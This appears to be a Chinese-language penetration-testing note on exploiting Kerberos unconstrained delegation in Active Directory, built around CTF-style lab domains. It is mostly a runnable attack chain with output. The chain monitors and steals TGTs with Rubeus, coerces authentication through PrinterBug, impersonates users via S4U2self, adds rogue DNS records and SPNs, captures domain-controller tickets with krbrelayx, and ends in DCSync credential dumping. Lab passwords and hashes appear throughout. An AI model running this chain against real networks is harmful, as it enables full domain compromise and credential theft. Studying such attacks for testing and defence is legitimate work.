Unconstrained delegation

1. 介绍

非约束委派是 Windows 2000 中唯一可用的委派类型。是Delegations的一种。如果用户向启用了无约束委派的计算机请求服务票证,用户的票证授予票证(TGT)将被嵌入到服务票证中,然后提交给服务器。

服务器可以将此票证缓存在内存中,然后在后续的域资源请求中冒充该用户。如果未启用无约束委派,则只有用户的票证授予服务(TGS)票证会存储在内存中。在这种情况下,如果计算机被攻破,攻击者只能在该用户的上下文中访问 TGS 票证中指定的资源。
Pasted image 20260305173032.png

以下是两种常见的利用场景

2. 利用:for 计算机

2.1. 场景1:Rubeus监听用户认证

如果我们攻陷了一台启用了无约束委派的域服务器,并且随后有域管理员登录,我们就能提取他们的 TGT 并利用它进行横向移动,攻陷其他机器,包括域控制器。
我们可以使用Rubeus来监控存储的票据,本地管理员可以运行 Rubeus 来监控存储在内存中的票据。如果它在 TGS 票据中发现了 TGT 副本,Rubeus 就会将其显示给我们

c:\users\public>.\Rubeus.exe monitor /interval:1 /nowrap
.\Rubeus.exe monitor /interval:1 /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3

[*] Action: TGT Monitoring
[*] Monitoring every 1 seconds for new TGTs


[*] 10/5/2025 4:15:58 PM UTC - Found new TGT:

  User                  :  Administrator@DARKZERO.EXT
  StartTime             :  10/5/2025 8:30:42 AM
  EndTime               :  10/5/2025 6:30:42 PM
  RenewTill             :  10/12/2025 8:30:42 AM
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  Base64EncodedTicket   :

    doIF7DCCBeigAwIBBaEDAgEWooIE7DCCBOhhggTkMIIE4KADAgEFoQ4bDERBUxxxx....
#监听tgt
.\Rubeus.exe monitor /interval:5 /nowrap

#触发强制认证
nxc smb dc1.delegate.vl -u 'hack$' -p Admin123 -M coerce_plus -o L=10.10.14.69 M=PrinterBug

#renew票据 延长有效期
.\Rubeus.exe renew /ticket:doIFZjCCBWKgAwIBBaEDAgEWooIEWTCCBFVhggRRMIIETaADAgEFoRUbE0lOTEFORUZSRUlHSFQ
uTE9DQUyiKDAmoAMCAQKhHzAdGwZrcmJ0Z3QbE0lOTEFORUZSRUlHSFQuTE9DQUyjggQDMIID/6ADAgESoQMCAQKiggPxBIID7XBw4BNnnymchVY/H/
9966JMGtJhKaNLBt21SY3+on4lrOrHo<SNIP> /ptt

#DCSync 
mimikatz.exe
lsadump::dcsync /user:sarah.lafferty


#获取sarah用户的tgt
.\Rubeus.exe asktgt /rc4:0fcb586d2aec31967c8a310d1ac2bf50 /user:sarah.lafferty /ptt

2.1.1. S4U2self for Non-Domain Controllers

如果目标计算机不是域控,我们可以使用 S4U2self 来代表我们想要模拟的任何用户获取服务票据。

使用 Rubeus monitor 和 SpoolSample 从 DC01 捕获票据后,我们可以使用 Rubeus s4u /self 为任何服务伪造服务票据。
比如我们可以模拟管理员为CIFS服务请求服务票据

PS C:\Tools> .\Rubeus.exe s4u /self /nowrap /impersonateuser:Administrator /altservice:CIFS/dc01.inlanefreight.local /ptt /ticket:doIFZjCCBWKgAwIBBaEDAgEWooIEWTCCB<SNIP>

2.2. 场景2:打印机漏洞强制认证

打印机漏洞(Printer Bug)是 MS-RPRN 协议(打印系统远程协议)中的一个缺陷。该协议定义了客户端与打印服务器之间关于打印任务处理和打印系统管理的通信方式。

为了利用这一缺陷,任何域用户都可以通过 RpcOpenPrinter 方法连接到名为 spoolss 的命名管道,并调用 RpcRemoteFindFirstPrinterChangeNotificationEx 方法,从而强制服务器通过 SMB 协议向客户端提供的任何主机进行身份验证

简单来说:就是利用打印机漏洞强制服务器向任意主机进行身份验证,当与非约束委派结合的时候,可以强制域控向我们已经控制的主机进行身份验证,然后我们可以从内存中获取到缓存的域控TGT。但如果域控没有打印机漏洞,我们可以向其他的计算机进行此攻击,并进行白银票据伪造

强制认证可以使用nxc的模块来完成

┌──(root㉿kali)-[~/Desktop/htb/Delegate]
└─# nxc smb dc1.delegate.vl -u 'hack$' -p Admin123 -M coerce_plus
SMB         10.129.234.69   445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.234.69   445    DC1              [+] delegate.vl\hack$:Admin123
COERCE_PLUS 10.129.234.69   445    DC1              VULNERABLE, DFSCoerce
COERCE_PLUS 10.129.234.69   445    DC1              VULNERABLE, PetitPotam
COERCE_PLUS 10.129.234.69   445    DC1              VULNERABLE, PrinterBug
COERCE_PLUS 10.129.234.69   445    DC1              VULNERABLE, PrinterBug
COERCE_PLUS 10.129.234.69   445    DC1              VULNERABLE, MSEven

┌──(root㉿kali)-[~/Desktop/htb/Delegate]
└─# nxc smb dc1.delegate.vl -u 'hack$' -p Admin123 -M coerce_plus -o L=10.10.14.69 M=PrinterBug
SMB         10.129.234.69   445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.234.69   445    DC1              [+] delegate.vl\hack$:Admin123
COERCE_PLUS 10.129.234.69   445    DC1              VULNERABLE, PrinterBug
COERCE_PLUS 10.129.234.69   445    DC1              Exploit Success, spoolss\RpcRemoteFindFirstPrinterChangeNotificationEx

PS C:\Tools> .\SpoolSample.exe dc01.inlanefreight.local sql01.inlanefreight.local

[+] Converted DLL to shellcode
[+] Executing RDI
[+] Calling exported function
TargetServer: \\dc01.inlanefreight.local, CaptureServer: \\sql01.inlanefreight.local
Target server attempted authentication and got an access denied. If coercing authentication to an NTLM challenge-response capture tool(e.g. responder/inveigh/MSF SMB capture), this is expected and indicates the coerced authentication worked.

3. 利用:for 用户

用户也可以被配置为无约束委派,但其利用方式与其他情况有很大不同。要获取启用了该标志的用户帐户列表,我们可以使用 PowerView 的 Get-DomainUser 函数,并指定一个 LDAP 过滤器,用于查找其 UAC 中设置了 TRUSTED_FOR_DELEGATION 标志的用户。

PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

logoncount            : 0
badpasswordtime       : 12/31/1600 7:00:00 PM
distinguishedname     : CN=sqldev,OU=Service Accounts,OU=IT,OU=Employees,DC=INLANEFREIGHT,DC=LOCAL
objectclass           : {top, person, organizationalPerson, user}
name                  : sqldev
objectsid             : S-1-5-21-2974783224-3764228556-2640795941-1110
samaccountname        : sqldev
codepage              : 0
samaccounttype        : USER_OBJECT
accountexpires        : 12/31/1600 7:00:00 PM
countrycode           : 0
whenchanged           : 8/4/2020 4:49:56 AM
instancetype          : 4
objectguid            : f71224a5-baa7-4aec-bfe9-56778184dc63
lastlogon             : 12/31/1600 7:00:00 PM
lastlogoff            : 12/31/1600 7:00:00 PM
objectcategory        : CN=Person,CN=Schema,CN=Configuration,DC=INLANEFREIGHT,DC=LOCAL
dscorepropagationdata : {7/30/2020 3:09:16 AM, 7/30/2020 3:09:16 AM, 7/28/2020 1:45:00 AM, 7/28/2020 1:34:13 AM...}
serviceprincipalname  : MSSQL_svc_dev/inlanefreight.local:1443
memberof              : CN=Protected Users,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
whencreated           : 7/27/2020 6:46:20 PM
badpwdcount           : 0
cn                    : sqldev
useraccountcontrol    : NORMAL_ACCOUNT, TRUSTED_FOR_DELEGATIONusncreated            : 14648
primarygroupid        : 513
pwdlastset            : 7/27/2020 2:46:20 PM
usnchanged            : 90194

此外我们还需要能够配置此用户的SPN列表,所以我们需要对此用户有GenericWrite或者GenericAll权限

3.1. 创建DNS记录进行攻击

我们可以创建一条指向我们攻击机的 DNS 记录。这条 DNS 记录将在 Active Directory 环境中作为一台伪造的计算机。一旦该 DNS 记录被注册,我们将把 SPN CIFS/our_dns_record 添加到我们入侵的、启用了非约束委派的账户上。这样,如果受害者尝试通过 SMB 连接到我们的伪造机器,由于它会请求 CIFS/our_registration_dns 的票据,其 TGS 票据中将携带其 TGT 的副本。该 TGS 票据会被发送到我们在注册 DNS 记录时选择的 IP 地址,即我们的攻击机。之后我们要做的就是提取 TGT 并加以利用。

我们可以使用krbrelayx工具来完成此攻击,

3.1.1. 创建DNS记录

dnstool.py -u INLANEFREIGHT.LOCAL\\pixis -p p4ssw0rd -r roguecomputer.INLANEFREIGHT.LOCAL -d 10.10.14.2 --action add 10.129.1.207    

[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

3.1.2. 添加SPN

然后我们使用 addspn.py 向目标账户添加一个精心构造的 SPN。因为后续要进行DCSync,所以这里添加的SPN 必须是CIFS服务或者LDAP服务  
CIFS 代表通用互联网文件系统(Common Internet File System),等同于 SMB。
选项 --target-type samname 指定目标是一个用户名,如果未指定, krbrelayx 将假定它是一个主机名。

addspn.py -u inlanefreight.local\\pixis -p p4ssw0rd --target-type samname -t sqldev -s CIFS/roguecomputer.inlanefreight.local dc01.inlanefreight.local 

[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully

这里假定是有权修改用户sqldev的SPN,如果没有权限,可以尝试创建一个计算机用户

#添加计算机
nxc ldap delegate.vl -u N.Thompson -p KALEB_2341 -M maq
impacket-addcomputer 'delegate.vl/N.Thompson:KALEB_2341'  -computer-name hack -computer-pass Admin123  -dc-ip 10.129.234.69

#给计算机添加SPN
addspn.py -u 'delegate.vl\N.Thompson' -p 'KALEB_2341' -s 'ldap/hack.delegate.vl' -t 'hack$' -dc-ip 10.129.234.69 dc1.delegate.vl --additional

检测是否添加成功

Get-ADComputer hack -Properties TrustedForDelegation | Select-Object Name, TrustedForDelegation
bloodyAD --host dc1.delegate.vl -d delegate.vl -u N.Thompson -p KALEB_2341  get object  'hack$' |grep userAccountControl

3.1.3. 使用 Krbrelayx捕获tgt

任何尝试通过 SMB 向 roguecomputer.inlanefreight.local 进行身份验证的账户,都会在其请求的 TGS 票据中包含其 TGT 的一份副本。我们可以搭配一些强制认证的手段来进行攻击。

krbrelayx.py -hashes :cf3a5525ee9414229e66279623ed5c58

[*] Protocol Client SMB loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Running in export mode (all tickets will be saved to disk)
[*] Setting up SMB Server
[*] Setting up HTTP Server

[*] Servers started, waiting for connections

参数哈希是为了来解密收到的TGS票据

如果是使用的创建的计算机用户,可以使用下面的命令计算出hash值

┌──(root㉿kali)-[~/Desktop/htb/Delegate]
└─# python -c "password = 'Admin123'; import hashlib; print(hashlib.new('md4', password.encode('utf-16le')).hexdigest())"
e45a314c664d40a227f9540121d1a29d

3.1.4. 利用打印机漏洞强制认证

然后我们可以使用打印机漏洞进行强制认证,如 krbrelayx 中提供的 dementor.pyprinterbug.py

printerbug.py inlanefreight.local/carole.rose:jasmine@10.129.205.35 roguecomputer.inlanefreight.local

dementor.py -u pixis -p p4ssw0rd -d inlanefreight.local roguecomputer.inlanefreight.local dc01.inlanefreight.local

然后就可以在krbrelayx中捕获到这嵌入在TGS中的TGT

krbrelayx.py -hashes :cf3a5525ee9414229e66279623ed5c58

[*] Protocol Client SMB loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Running in export mode (all tickets will be saved to disk)
[*] Setting up SMB Server
[*] Setting up HTTP Server

[*] Servers started, waiting for connections
[*] SMBD: Received connection from 10.129.1.207
[*] Got ticket for DC01$@INLANEFREIGHT.LOCAL [krbtgt@INLANEFREIGHT.LOCAL]
[*] Saving ticket in DC01$@INLANEFREIGHT.LOCAL_krbtgt@INLANEFREIGHT.LOCAL.ccache
[*] SMBD: Received connection from 10.129.1.207
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'
[*] SMBD: Received connection from 10.129.1.207
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'

3.1.5. Dcsync

然后进行DCSync即可

export KRB5CCNAME=./DC01\$@INLANEFREIGHT.LOCAL_krbtgt@INLANEFREIGHT.LOCAL.ccache
secretsdump.py -k -no-pass dc01.inlanefreight.local

3.2. 案例:

#新建计算机
impacket-addcomputer delegate.vl/N.Thompson:KALEB_2341   -computer-name hack -computer-pass Admin123  -dc-ip 10.129.234.69 

#添加DNS
dnstool.py -u 'delegate.vl\hack$' -p 'Admin123' --action add -r hack.delegate.vl -d 10.10.14.69 --type A -dns-ip 10.129.234.69

#加SPN (--additional 可能需要第二次)
addspn.py -u 'delegate.vl\N.Thompson' -p 'KALEB_2341' -s 'ldap/hack.delegate.vl' -t 'hack$' -dc-ip 10.129.234.69 dc1.delegate.vl --additional

#配置非约束委派
bloodyAD --host dc1.delegate.vl -d delegate.vl -u N.Thompson -p KALEB_2341  add uac 'hack$' -f TRUSTED_FOR_DELEGATION

#开启监听
krbrelayx.py -hashes :e45a314c664d40a227f9540121d1a29d

#强制认证
printerbug.py -hashes :e45a314c664d40a227f9540121d1a29d  'delegate.vl/hack$@dc1.delegate.vl' hack.delegate.vl

4. References: